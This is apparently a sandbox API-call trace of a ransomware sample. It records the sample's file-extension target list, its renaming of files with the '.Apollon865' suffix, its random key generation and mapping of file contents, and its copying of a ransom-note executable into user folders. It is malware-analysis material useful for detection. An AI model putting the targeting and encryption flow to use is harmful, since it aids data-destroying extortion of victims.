	[0053.435] lstrlenW (lpString="spq") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.435] lstrlenW (lpString="te") returned 2
	[0053.435] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.435] lstrlenW (lpString="teacher") returned 7
	[0053.435] lstrcmpiW (lpString1="ery.url", lpString2="teacher") returned -1
	[0053.435] lstrlenW (lpString="tmd") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.435] lstrlenW (lpString="tps") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.435] lstrlenW (lpString="trc") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.435] lstrlenW (lpString="trc") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.435] lstrlenW (lpString="trm") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.435] lstrlenW (lpString="udb") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.435] lstrlenW (lpString="udl") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.435] lstrlenW (lpString="usr") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.435] lstrlenW (lpString="v12") returned 3
	[0053.435] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.435] lstrlenW (lpString="vis") returned 3
	[0053.436] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.436] lstrlenW (lpString="vpd") returned 3
	[0053.436] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.436] lstrlenW (lpString="vvv") returned 3
	[0053.436] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.436] lstrlenW (lpString="wdb") returned 3
	[0053.436] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.436] lstrlenW (lpString="wmdb") returned 4
	[0053.436] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.436] lstrlenW (lpString="wrk") returned 3
	[0053.436] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.436] lstrlenW (lpString="xdb") returned 3
	[0053.436] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.436] lstrlenW (lpString="xld") returned 3
	[0053.436] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.436] lstrlenW (lpString="xmlff") returned 5
	[0053.436] lstrcmpiW (lpString1="y.url", lpString2="xmlff") returned 1
	[0053.436] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url.Apollon865") returned 65
	[0053.436] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url.apollon865"), dwFlags=0x1) returned 1
	[0053.437] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.437] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=226) returned 1
	[0053.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.437] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0053.438] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.438] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.438] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x150
	[0053.440] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000
	[0053.441] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0053.441] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.441] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.441] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.441] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.441] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.442] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.442] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.442] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.442] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.442] CloseHandle (hObject=0x150) returned 1
	[0053.442] CloseHandle (hObject=0x118) returned 1
	[0053.442] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.442] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.442] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.442] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0
	[0053.442] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0053.442] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bd0
	[0053.442] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Downloads", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads"
	[0053.442] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca250 | out: hHeap=0x580000) returned 1
	[0053.443] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0053.443] lstrlenW (lpString="C:\\Users\\Default\\Downloads") returned 26
	[0053.443] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads"
	[0053.443] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.443] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.443] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0053.443] GetLastError () returned 0x0
	[0053.443] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.443] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.443] CloseHandle (hObject=0x15c) returned 1
	[0053.443] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.443] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.444] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3079b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3079b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0053.444] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.444] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.444] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.444] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3079b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3079b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.444] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.444] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.444] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.444] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.444] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0053.444] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.444] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0053.444] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0053.444] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0053.444] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0053.444] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0053.444] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0053.444] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0053.444] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0053.444] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0053.444] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0053.444] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0053.444] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0053.444] lstrlenW (lpString="desktop.ini") returned 11
	[0053.444] lstrlenW (lpString="C:\\Users\\Default\\Downloads\\*") returned 28
	[0053.444] lstrcpyW (in: lpString1=0x119e63e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0053.444] lstrlenW (lpString="desktop.ini") returned 11
	[0053.444] lstrlenW (lpString="Apollon865") returned 10
	[0053.445] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0053.445] lstrlenW (lpString=".dll") returned 4
	[0053.445] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0053.445] lstrlenW (lpString=".lnk") returned 4
	[0053.445] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0053.445] lstrlenW (lpString=".ini") returned 4
	[0053.445] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0053.445] lstrlenW (lpString=".sys") returned 4
	[0053.445] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0053.445] lstrlenW (lpString="desktop.ini") returned 11
	[0053.445] lstrlenW (lpString="bak") returned 3
	[0053.445] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0053.445] lstrlenW (lpString="ba_") returned 3
	[0053.445] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0053.445] lstrlenW (lpString="dbb") returned 3
	[0053.445] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0053.445] lstrlenW (lpString="vmdk") returned 4
	[0053.445] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0053.445] lstrlenW (lpString="rar") returned 3
	[0053.445] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0053.445] lstrlenW (lpString="zip") returned 3
	[0053.445] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0053.445] lstrlenW (lpString="tgz") returned 3
	[0053.445] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0053.445] lstrlenW (lpString="vbox") returned 4
	[0053.445] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0053.445] lstrlenW (lpString="vdi") returned 3
	[0053.445] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0053.445] lstrlenW (lpString="vhd") returned 3
	[0053.445] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0053.445] lstrlenW (lpString="vhdx") returned 4
	[0053.445] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0053.445] lstrlenW (lpString="avhd") returned 4
	[0053.445] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0053.445] lstrlenW (lpString="db") returned 2
	[0053.446] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0053.446] lstrlenW (lpString="db2") returned 3
	[0053.446] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0053.446] lstrlenW (lpString="db3") returned 3
	[0053.446] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0053.446] lstrlenW (lpString="dbf") returned 3
	[0053.446] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0053.446] lstrlenW (lpString="mdf") returned 3
	[0053.446] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0053.446] lstrlenW (lpString="mdb") returned 3
	[0053.446] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0053.446] lstrlenW (lpString="sql") returned 3
	[0053.446] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0053.446] lstrlenW (lpString="sqlite") returned 6
	[0053.446] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0053.446] lstrlenW (lpString="sqlite3") returned 7
	[0053.446] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0053.446] lstrlenW (lpString="sqlitedb") returned 8
	[0053.446] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0053.446] lstrlenW (lpString="xml") returned 3
	[0053.446] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0053.446] lstrlenW (lpString="$er") returned 3
	[0053.446] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0053.446] lstrlenW (lpString="4dd") returned 3
	[0053.446] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0053.446] lstrlenW (lpString="4dl") returned 3
	[0053.446] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0053.446] lstrlenW (lpString="^^^") returned 3
	[0053.446] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0053.446] lstrlenW (lpString="abs") returned 3
	[0053.446] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0053.446] lstrlenW (lpString="abx") returned 3
	[0053.447] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0053.447] lstrlenW (lpString="accdb") returned 5
	[0053.447] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0053.447] lstrlenW (lpString="accdc") returned 5
	[0053.447] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0053.447] lstrlenW (lpString="accde") returned 5
	[0053.447] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0053.447] lstrlenW (lpString="accdr") returned 5
	[0053.447] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0053.447] lstrlenW (lpString="accdt") returned 5
	[0053.447] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0053.447] lstrlenW (lpString="accdw") returned 5
	[0053.447] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0053.447] lstrlenW (lpString="accft") returned 5
	[0053.447] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0053.447] lstrlenW (lpString="adb") returned 3
	[0053.447] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0053.447] lstrlenW (lpString="adb") returned 3
	[0053.447] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0053.447] lstrlenW (lpString="ade") returned 3
	[0053.447] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0053.447] lstrlenW (lpString="adf") returned 3
	[0053.447] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0053.447] lstrlenW (lpString="adn") returned 3
	[0053.447] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0053.447] lstrlenW (lpString="adp") returned 3
	[0053.447] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0053.447] lstrlenW (lpString="alf") returned 3
	[0053.447] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0053.447] lstrlenW (lpString="ask") returned 3
	[0053.447] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0053.447] lstrlenW (lpString="btr") returned 3
	[0053.447] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0053.447] lstrlenW (lpString="cat") returned 3
	[0053.447] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0053.447] lstrlenW (lpString="cdb") returned 3
	[0053.448] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0053.448] lstrlenW (lpString="ckp") returned 3
	[0053.448] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0053.448] lstrlenW (lpString="cma") returned 3
	[0053.448] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0053.448] lstrlenW (lpString="cpd") returned 3
	[0053.448] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0053.448] lstrlenW (lpString="dacpac") returned 6
	[0053.448] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0053.448] lstrlenW (lpString="dad") returned 3
	[0053.448] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0053.448] lstrlenW (lpString="dadiagrams") returned 10
	[0053.448] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0053.448] lstrlenW (lpString="daschema") returned 8
	[0053.448] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0053.448] lstrlenW (lpString="db-journal") returned 10
	[0053.448] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0053.448] lstrlenW (lpString="db-shm") returned 6
	[0053.448] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0053.448] lstrlenW (lpString="db-wal") returned 6
	[0053.448] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0053.448] lstrlenW (lpString="dbc") returned 3
	[0053.448] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0053.448] lstrlenW (lpString="dbs") returned 3
	[0053.448] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0053.448] lstrlenW (lpString="dbt") returned 3
	[0053.448] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0053.448] lstrlenW (lpString="dbv") returned 3
	[0053.448] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0053.448] lstrlenW (lpString="dbx") returned 3
	[0053.448] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0053.448] lstrlenW (lpString="dcb") returned 3
	[0053.448] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0053.448] lstrlenW (lpString="dct") returned 3
	[0053.448] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0053.448] lstrlenW (lpString="dcx") returned 3
	[0053.448] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0053.449] lstrlenW (lpString="ddl") returned 3
	[0053.449] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0053.449] lstrlenW (lpString="dlis") returned 4
	[0053.449] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0053.449] lstrlenW (lpString="dp1") returned 3
	[0053.449] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0053.449] lstrlenW (lpString="dqy") returned 3
	[0053.449] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0053.449] lstrlenW (lpString="dsk") returned 3
	[0053.449] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0053.449] lstrlenW (lpString="dsn") returned 3
	[0053.449] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0053.449] lstrlenW (lpString="dtsx") returned 4
	[0053.449] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0053.449] lstrlenW (lpString="dxl") returned 3
	[0053.449] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0053.449] lstrlenW (lpString="eco") returned 3
	[0053.449] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0053.449] lstrlenW (lpString="ecx") returned 3
	[0053.449] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0053.449] lstrlenW (lpString="edb") returned 3
	[0053.449] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0053.449] lstrlenW (lpString="epim") returned 4
	[0053.449] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0053.449] lstrlenW (lpString="fcd") returned 3
	[0053.449] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0053.449] lstrlenW (lpString="fdb") returned 3
	[0053.449] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0053.449] lstrlenW (lpString="fic") returned 3
	[0053.449] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0053.449] lstrlenW (lpString="flexolibrary") returned 12
	[0053.449] lstrlenW (lpString="fm5") returned 3
	[0053.449] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0053.449] lstrlenW (lpString="fmp") returned 3
	[0053.449] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0053.450] lstrlenW (lpString="fmp12") returned 5
	[0053.450] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0053.450] lstrlenW (lpString="fmpsl") returned 5
	[0053.450] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0053.450] lstrlenW (lpString="fol") returned 3
	[0053.450] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0053.450] lstrlenW (lpString="fp3") returned 3
	[0053.450] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0053.450] lstrlenW (lpString="fp4") returned 3
	[0053.450] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0053.450] lstrlenW (lpString="fp5") returned 3
	[0053.450] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0053.450] lstrlenW (lpString="fp7") returned 3
	[0053.450] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0053.450] lstrlenW (lpString="fpt") returned 3
	[0053.450] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0053.450] lstrlenW (lpString="frm") returned 3
	[0053.450] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0053.450] lstrlenW (lpString="gdb") returned 3
	[0053.450] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0053.450] lstrlenW (lpString="gdb") returned 3
	[0053.450] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0053.450] lstrlenW (lpString="grdb") returned 4
	[0053.450] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0053.450] lstrlenW (lpString="gwi") returned 3
	[0053.450] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0053.450] lstrlenW (lpString="hdb") returned 3
	[0053.450] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0053.450] lstrlenW (lpString="his") returned 3
	[0053.450] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0053.450] lstrlenW (lpString="ib") returned 2
	[0053.450] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0053.450] lstrlenW (lpString="idb") returned 3
	[0053.450] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0053.450] lstrlenW (lpString="ihx") returned 3
	[0053.450] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0053.451] lstrlenW (lpString="itdb") returned 4
	[0053.451] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0053.451] lstrlenW (lpString="itw") returned 3
	[0053.451] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0053.451] lstrlenW (lpString="jet") returned 3
	[0053.451] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0053.451] lstrlenW (lpString="jtx") returned 3
	[0053.451] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0053.451] lstrlenW (lpString="kdb") returned 3
	[0053.451] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0053.451] lstrlenW (lpString="kexi") returned 4
	[0053.451] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0053.451] lstrlenW (lpString="kexic") returned 5
	[0053.451] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0053.451] lstrlenW (lpString="kexis") returned 5
	[0053.451] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0053.451] lstrlenW (lpString="lgc") returned 3
	[0053.451] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0053.451] lstrlenW (lpString="lwx") returned 3
	[0053.451] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0053.451] lstrlenW (lpString="maf") returned 3
	[0053.451] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0053.451] lstrlenW (lpString="maq") returned 3
	[0053.451] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0053.451] lstrlenW (lpString="mar") returned 3
	[0053.451] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0053.451] lstrlenW (lpString="marshal") returned 7
